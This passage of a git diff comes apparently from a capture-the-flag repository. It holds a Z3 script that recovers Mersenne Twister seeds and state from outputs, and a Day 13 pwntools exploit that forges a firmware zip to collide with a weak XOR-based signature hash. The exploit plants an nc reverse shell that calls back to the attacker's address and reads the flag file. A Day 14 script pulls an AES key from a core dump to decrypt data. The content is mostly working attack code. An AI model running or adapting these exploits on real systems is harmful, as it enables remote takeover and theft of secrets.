 | 
			
		||||
            MT[i] = BitVecVal(MT_init[i], 32)
 | 
			
		||||
        SEEDS = [BitVec(f'seed[{i}]', 32) for i in range(num_seeds)]
 | 
			
		||||
        i,j = 1,0
 | 
			
		||||
        for k in range(self.n):
 | 
			
		||||
            MT[i] = (MT[i] ^ ((MT[i - 1] ^ LShR(MT[i - 1], 30)) * 1664525)) + SEEDS[j] + j
 | 
			
		||||
            i += 1
 | 
			
		||||
            j +=1
 | 
			
		||||
            if i >= self.n:
 | 
			
		||||
                MT[0] = MT[self.n - 1]
 | 
			
		||||
                i = 1
 | 
			
		||||
            if j==num_seeds:
 | 
			
		||||
                j=0
 | 
			
		||||
        for k in range(self.n - 1):
 | 
			
		||||
            MT[i] = (MT[i] ^ ((MT[i - 1] ^ LShR(MT[i - 1], 30)) * 1566083941)) - i
 | 
			
		||||
            i += 1
 | 
			
		||||
            if i >= self.n:
 | 
			
		||||
                MT[0] = MT[self.n - 1]
 | 
			
		||||
                i = 1
 | 
			
		||||
        MT[0] = BitVecVal(0x80000000, 32)
 | 
			
		||||
        untwisted = self.untwist(list(map(self.ut,outputs)))
 | 
			
		||||
        print(untwisted)
 | 
			
		||||
        t_start = time()
 | 
			
		||||
        S = Solver()
 | 
			
		||||
        S.add([i == j for i, j in zip(MT, untwisted)])
 | 
			
		||||
        if S.check() == sat:
 | 
			
		||||
            m = S.model()
 | 
			
		||||
            print("time taken :", time() - t_start)
 | 
			
		||||
            recovered = { str(i):m[i].as_long() for i in m.decls() }
 | 
			
		||||
            recovered = [ recovered[f'seed[{i}]'] for i in range(num_seeds) ]
 | 
			
		||||
            return recovered
 | 
			
		||||
 | 
			
		||||
    def get_seeds_python_fast(self,outputs):
 | 
			
		||||
        """
 | 
			
		||||
        recover seed of any size using 624 outputs in python
 | 
			
		||||
        runtime independent of seed size, takes anything around
 | 
			
		||||
        200-700 seconds
 | 
			
		||||
        """
 | 
			
		||||
        start_time = time()
 | 
			
		||||
        MT = [BitVec(f'MT[{i}]',32) for i in range(624)]
 | 
			
		||||
        i=2
 | 
			
		||||
        for k in range(self.n - 1):
 | 
			
		||||
            MT[i] = (MT[i] ^ ((MT[i - 1] ^ LShR(MT[i - 1], 30)) * 1566083941)) - i
 | 
			
		||||
            i += 1
 | 
			
		||||
            if i >= self.n:
 | 
			
		||||
                MT[0] = MT[self.n - 1]
 | 
			
		||||
                i = 1
 | 
			
		||||
        MT[0] = BitVecVal(0x80000000, 32)
 | 
			
		||||
        untwisted = self.untwist(list(map(self.ut,outputs)))
 | 
			
		||||
        S = Solver()
 | 
			
		||||
        for i in range(1,self.n):
 | 
			
		||||
            S.add(untwisted[i]==MT[i])
 | 
			
		||||
        if S.check()==sat:
 | 
			
		||||
            m = S.model()
 | 
			
		||||
            mt_vals = {str(i):m[i].as_long() for i in m.decls()}
 | 
			
		||||
            mt_intermediate = [mt_vals[f'MT[{i}]'] for i in range(1,624) ]
 | 
			
		||||
 | 
			
		||||
        MT_init = MT19937(19650218).MT
 | 
			
		||||
        MT = [BitVecVal(i,32) for i in MT_init]
 | 
			
		||||
        SEEDS = [BitVec(f'seed[{i}]', 32) for i in range(624)]
 | 
			
		||||
        i,j = 1,0
 | 
			
		||||
        for k in range(self.n):
 | 
			
		||||
            MT[i] = (MT[i] ^ ((MT[i - 1] ^ LShR(MT[i - 1], 30)) * 1664525)) + SEEDS[j] + j
 | 
			
		||||
            i += 1
 | 
			
		||||
            j +=1
 | 
			
		||||
            if i >= self.n:
 | 
			
		||||
                MT[0] = MT[self.n - 1]
 | 
			
		||||
                i = 1
 | 
			
		||||
            if j==self.n:
 | 
			
		||||
                j=0
 | 
			
		||||
        S = Solver()
 | 
			
		||||
        for i in range(1,self.n):
 | 
			
		||||
            S.add(mt_intermediate[i-1]==MT[i])
 | 
			
		||||
        if S.check() == sat:
 | 
			
		||||
            print("time taken :",time()-start_time)
 | 
			
		||||
            m = S.model()
 | 
			
		||||
            recovered = { str(i):m[i].as_long() for i in m.decls() }
 | 
			
		||||
            recovered = [ recovered[f'seed[{i}]'] for i in range(len(m.decls())) ]
 | 
			
		||||
            
 | 
			
		||||
            slen = seed_arr_len(recovered)
 | 
			
		||||
            seed_arr = [recovered[i]+ slen*(i//slen) for i in range(624)]
 | 
			
		||||
            if slen==1:
 | 
			
		||||
                return seed_arr[2]
 | 
			
		||||
            return seed_arr[slen:slen+2]+seed_arr[2:slen]
 | 
			
		||||
 | 
			
		||||
    def state_recovery_rand(self, outputs):
 | 
			
		||||
        """
 | 
			
		||||
        state recovery using python random.random() calls
 | 
			
		||||
        """
 | 
			
		||||
        MT = [BitVec(f'MT[{i}]',32) for i in range(624)]
 | 
			
		||||
        values = []
 | 
			
		||||
        for i in outputs:
 | 
			
		||||
            values.extend( divmod(int(i*2**53),2**26))
 | 
			
		||||
        start_time = time()
 | 
			
		||||
        S = Solver()
 | 
			
		||||
        for i in range(len(values)):
 | 
			
		||||
            if i%624==0:
 | 
			
		||||
                self.twist_state(MT)
 | 
			
		||||
            S.add(LShR(self.tamper_state(MT[i%624]),5+(i&1))==values[i])
 | 
			
		||||
        if S.check()==sat:
 | 
			
		||||
            print("time taken :",time()-start_time)
 | 
			
		||||
            model = S.model()
 | 
			
		||||
            mt = {str(i): model[i].as_long() for i in model.decls()}
 | 
			
		||||
            mt = [mt[f'MT[{i}]'] for i in range(len(model))]
 | 
			
		||||
            return mt
 | 
			
		||||
        
 | 
			
		||||
    def int_to_array(self,k):
 | 
			
		||||
        if k==0:
 | 
			
		||||
            return [0]
 | 
			
		||||
        k_byte = int.to_bytes(k,(k.bit_length()+7)//8,'little')
 | 
			
		||||
        k_arr = [k_byte[i:i+4] for i in range(0,len(k_byte),4)]
 | 
			
		||||
        return [int.from_bytes(i,'little') for i in k_arr ]
 | 
			
		||||
 | 
			
		||||
    def array_to_int(self,arr):
 | 
			
		||||
        arr_bytes  = b"".join([int.to_bytes(i,4,'little') for i in arr])
 | 
			
		||||
        return int.from_bytes( arr_bytes ,'little')
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
							
								
								
									
										
											BIN
										
									
								
								Day 12/unsanta.zip
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										
											BIN
										
									
								
								Day 12/unsanta.zip
									
									
									
									
									
										Normal file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										79
									
								
								Day 13/exploit.py
									
									
									
									
									
										Executable file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										79
									
								
								Day 13/exploit.py
									
									
									
									
									
										Executable file
									
								
							@ -0,0 +1,79 @@
 | 
			
		||||
#!/usr/bin/env python3
 | 
			
		||||
# -*- coding: utf-8 -*-
 | 
			
		||||
# This exploit template was generated via:
 | 
			
		||||
# $ pwn template --host 5e6a25e4-70e9-4467-ab1a-caba58cdf8e8.rdocker.vuln.land --port 1337
 | 
			
		||||
from pwn import *
 | 
			
		||||
from io import BytesIO
 | 
			
		||||
from Crypto.Hash import SHA1
 | 
			
		||||
from Crypto.Util.number import long_to_bytes, bytes_to_long
 | 
			
		||||
from hackingscripts import util, rev_shell
 | 
			
		||||
import zipfile
 | 
			
		||||
 | 
			
		||||
host = args.HOST or '98db68c6-42be-4b6c-94f3-87a044a60d13.rdocker.vuln.land'
 | 
			
		||||
port = int(args.PORT or 1337)
 | 
			
		||||
 | 
			
		||||
def start_remote(argv=[], *a, **kw):
 | 
			
		||||
    return connect(host, port)
 | 
			
		||||
 | 
			
		||||
def start(argv=[], *a, **kw):
 | 
			
		||||
    return start_remote(argv, *a, **kw)
 | 
			
		||||
 | 
			
		||||
def hash_data(content):
 | 
			
		||||
    h = 0
 | 
			
		||||
    for i in range(0, len(content), 8):
 | 
			
		||||
        h ^= sum([content[i+j] << 8*j for j in range(8) if i+j < len(content)])
 | 
			
		||||
    return SHA1.new(hex(h).encode()).hexdigest()
 | 
			
		||||
 | 
			
		||||
def get_version():
 | 
			
		||||
    io.recvuntil(b"$ ")
 | 
			
		||||
    io.sendline(b"version")
 | 
			
		||||
    data = io.recvuntil(b"\n\n")
 | 
			
		||||
    return re.search(r"Version 1.3.3.7, Signature: (.*)", data.decode())[1]
 | 
			
		||||
 | 
			
		||||
def update(zip_file, signature):
 | 
			
		||||
    io.recvuntil(b"$ ")
 | 
			
		||||
    io.sendline(b"update")
 | 
			
		||||
    io.recvuntil(b"> ")
 | 
			
		||||
    io.sendline(base64.b64encode(zip_file))
 | 
			
		||||
    io.recvuntil(b"> ")
 | 
			
		||||
    io.sendline(signature.encode())
 | 
			
		||||
 | 
			
		||||
def send_exit():
 | 
			
		||||
    io.recvuntil(b"$ ")
 | 
			
		||||
    io.sendline(b"exit")
 | 
			
		||||
 | 
			
		||||
io = start()
 | 
			
		||||
 | 
			
		||||
with open("firmware.zip", "rb") as f:
 | 
			
		||||
    orig_firmware = f.read()
 | 
			
		||||
    orig_hash = hash_data(orig_firmware)
 | 
			
		||||
    print("[+] Orig hash:", orig_hash)
 | 
			
		||||
 | 
			
		||||
ip_address = util.get_address()
 | 
			
		||||
shell_port = 1234
 | 
			
		||||
shell_cmd = rev_shell.generate_payload("nc", ip_address, shell_port, method="fifo", shell="/bin/sh")
 | 
			
		||||
zip_data = BytesIO()
 | 
			
		||||
with zipfile.ZipFile(zip_data, "w") as zip_file:
 | 
			
		||||
    zip_file.writestr("start.sh", shell_cmd)
 | 
			
		||||
 | 
			
		||||
# new_zip ^ orig_firmware ^ new_zip == orig_firmware
 | 
			
		||||
initial_zip_data = zip_data.getvalue()
 | 
			
		||||
zip_data = initial_zip_data
 | 
			
		||||
zip_data = util.pad(zip_data, 8)
 | 
			
		||||
zip_data += orig_firmware
 | 
			
		||||
zip_data = util.pad(zip_data, 8)
 | 
			
		||||
zip_data += initial_zip_data
 | 
			
		||||
zip_hash = hash_data(zip_data)
 | 
			
		||||
 | 
			
		||||
print("[+] Update hash:", zip_hash)
 | 
			
		||||
assert zip_hash == orig_hash
 | 
			
		||||
 | 
			
		||||
signature = get_version()
 | 
			
		||||
print("[+] Signature:", signature)
 | 
			
		||||
shell = rev_shell.trigger_background_shell(lambda: update(zip_data, signature), shell_port)
 | 
			
		||||
flag = shell.exec_sync("cat /app/flag && echo")
 | 
			
		||||
shell.close()
 | 
			
		||||
send_exit()
 | 
			
		||||
io.close()
 | 
			
		||||
 | 
			
		||||
print("[+] Flag:", flag.decode())
 | 
			
		||||
							
								
								
									
										
											BIN
										
									
								
								Day 13/firmware.zip
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										
											BIN
										
									
								
								Day 13/firmware.zip
									
									
									
									
									
										Normal file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										
											BIN
										
									
								
								Day 13/santas-router-source.zip
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										
											BIN
										
									
								
								Day 13/santas-router-source.zip
									
									
									
									
									
										Normal file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										
											BIN
										
									
								
								Day 14/coredump.zst
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										
											BIN
										
									
								
								Day 14/coredump.zst
									
									
									
									
									
										Normal file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										
											BIN
										
									
								
								Day 14/crypto-dump.zip
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										
											BIN
										
									
								
								Day 14/crypto-dump.zip
									
									
									
									
									
										Normal file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										70
									
								
								Day 14/decrypt.py
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										70
									
								
								Day 14/decrypt.py
									
									
									
									
									
										Normal file
									
								
							@ -0,0 +1,70 @@
 | 
			
		||||
import lief
 | 
			
		||||
from pwn import *
 | 
			
		||||
import mmap
 | 
			
		||||
from hackingscripts import util
 | 
			
		||||
from Crypto.Cipher import AES
 | 
			
		||||
from Crypto.Util import Counter
 | 
			
		||||
from Crypto.Util.number import bytes_to_long
 | 
			
		||||
 | 
			
		||||
file_path = "coredump.zst"
 | 
			
		||||
core = lief.parse(file_path)
 | 
			
		||||
 | 
			
		||||
class StackFrame:
 | 
			
		||||
 | 
			
		||||
    def __init__(self, rbp, rsp):
 | 
			
		||||
        self.rbp = rbp
 | 
			
		||||
        self.rsp = rsp
 | 
			
		||||
        assert self.rbp > self.rsp
 | 
			
		||||
 | 
			
		||||
    def get_memory(self, offset=0, size=None):
 | 
			
		||||
        size = util.nvl(size, len(self) - offset)
 | 
			
		||||
        return read_memory(self.rsp + offset, size)
 | 
			
		||||
 | 
			
		||||
    def __len__(self):
 | 
			
		||||
        return self.rbp - self.rsp
 | 
			
		||||
 | 
			
		||||
    def __repr__(self):
 | 
			
		||||
        return f"<StackFrame rbp={hex(self.rbp)} rsp={hex(self.rsp)} size={hex(len(self))}>"
 | 
			
		||||
 | 
			
		||||
def read_memory(addr, size):
 | 
			
		||||
    for segment in core.segments:
 | 
			
		||||
        if segment.type == lief.ELF.SEGMENT_TYPES.LOAD:
 | 
			
		||||
            start_address = segment.virtual_address
 | 
			
		||||
            end_address = start_address + segment.physical_size
 | 
			
		||||
 | 
			
		||||
            if start_address <= addr < end_address:
 | 
			
		||||
                with open(file_path, 'rb') as f:
 | 
			
		||||
                    with mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ) as mmapped_file:
 | 
			
		||||
                        offset = addr - start_address + segment.file_offset
 | 
			
		||||
                        mmapped_file.seek(offset)
 | 
			
		||||
                        data = mmapped_file.read(size)
 | 
			
		||||
                        return data
 | 
			
		||||
 | 
			
		||||
    raise Exception("Invalid address:", hex(addr))
 | 
			
		||||
 | 
			
		||||
for note in core.notes:
 | 
			
		||||
   if note.type_core == lief.ELF.NOTE_TYPES_CORE.PRSTATUS:
 | 
			
		||||
      details = note.details
 | 
			
		||||
      rsp = details[lief.ELF.CorePrStatus.REGISTERS.X86_64_RSP]
 | 
			
		||||
      rbp = details[lief.ELF.CorePrStatus.REGISTERS.X86_64_RBP]
 | 
			
		||||
      r13 = details[lief.ELF.CorePrStatus.REGISTERS.X86_64_R13]
 | 
			
		||||
      stack_frame = StackFrame(rbp, rsp)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
print("[+] RSP at:", hex(rsp))
 | 
			
		||||
key = stack_frame.get_memory(0x10, 0x20)
 | 
			
		||||
print("[+] Got key:", key.hex())
 | 
			
		||||
 | 
			
		||||
heap_addr = r13
 | 
			
		||||
print("[+] Heap chunk at:", hex(heap_addr))
 | 
			
		||||
encrypted = read_memory(heap_addr, 0x30)
 | 
			
		||||
iv = encrypted[:16]
 | 
			
		||||
ct = encrypted[16:].rstrip(b"\x00")
 | 
			
		||||
 | 
			
		||||
print("[+] Got IV:", iv.hex())
 | 
			
		||||
print("[+] Got ct:", ct.hex())
 | 
			
		||||
 | 
			
		||||
ctr = Counter.new(128, initial_value=bytes_to_long(iv))
 | 
			
		||||
cipher = AES.new(key, AES.MODE_CTR, counter=ctr)
 | 
			
		||||
flag = cipher.decrypt(ct).decode().strip()
 | 
			
		||||
print("[+] Flag:", flag)
 | 
			
		||||
		Loading…
	
		Reference in New Issue
	
	Block a user